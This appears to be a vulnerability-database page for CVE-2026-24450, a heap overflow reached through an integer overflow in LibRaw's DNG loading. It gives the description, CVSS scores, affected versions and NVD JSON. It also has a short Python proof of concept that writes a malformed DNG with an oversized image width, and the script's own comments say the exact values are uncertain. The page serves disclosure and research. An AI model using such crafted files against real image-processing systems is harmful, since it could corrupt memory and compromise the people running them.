Security Vulnerability Report
中文
CVE-2026-24450 CVSS 8.1 HIGH

CVE-2026-24450

Published: 2026-04-07 15:17:37
Last Modified: 2026-04-10 20:51:18

Description

An integer overflow vulnerability exists in the uncompressed_fp_dng_load_raw functionality of LibRaw Commit 8dc68e2. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:libraw:libraw:0.22.1:*:*:*:*:*:*:* - VULNERABLE
LibRaw Commit 8dc68e2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-24450: LibRaw Integer Overflow / Heap Buffer Overflow # This script generates a malformed DNG file designed to trigger the vulnerability. def create_malicious_dng(filename): with open(filename, 'wb') as f: # TIFF Header (Little Endian) f.write(b'II') # Byte Order f.write(struct.pack('<H', 42)) # Magic Number f.write(struct.pack('<I', 8)) # Offset to first IFD # Image File Directory (IFD) num_entries = 1 f.write(struct.pack('<H', num_entries)) # Tag 0x0100 (ImageWidth): Set to a large value to trigger integer overflow # during size calculation in uncompressed_fp_dng_load_raw. # Specific values depend on the vulnerable commit logic. tag = 0x0100 type_code = 4 # LONG count = 1 # Example malicious width value causing overflow value = 0xFFFFFFFF f.write(struct.pack('<H', tag)) f.write(struct.pack('<H', type_code)) f.write(struct.pack('<I', count)) f.write(struct.pack('<I', value)) # Next IFD offset (0 = no more IFDs) f.write(struct.pack('<I', 0)) # Append dummy data to simulate file content f.write(b'A' * 100) if __name__ == "__main__": print("Generating malicious DNG file for CVE-2026-24450...") create_malicious_dng('cve_2026_24450_poc.dng') print("File generated: cve_2026_24450_poc.dng")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24450", "sourceIdentifier": "[email protected]", "published": "2026-04-07T15:17:37.040", "lastModified": "2026-04-10T20:51:18.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An integer overflow vulnerability exists in the uncompressed_fp_dng_load_raw functionality of LibRaw Commit 8dc68e2. A specially crafted malicious file can lead to a heap buffer overflow. An attacker can provide a malicious file to trigger this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libraw:libraw:0.22.1:*:*:*:*:*:*:*", "matchCriteriaId": "BDC62434-024F-485D-A1B0-8608B70A2CF1"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2026-2363", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2363", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}]}}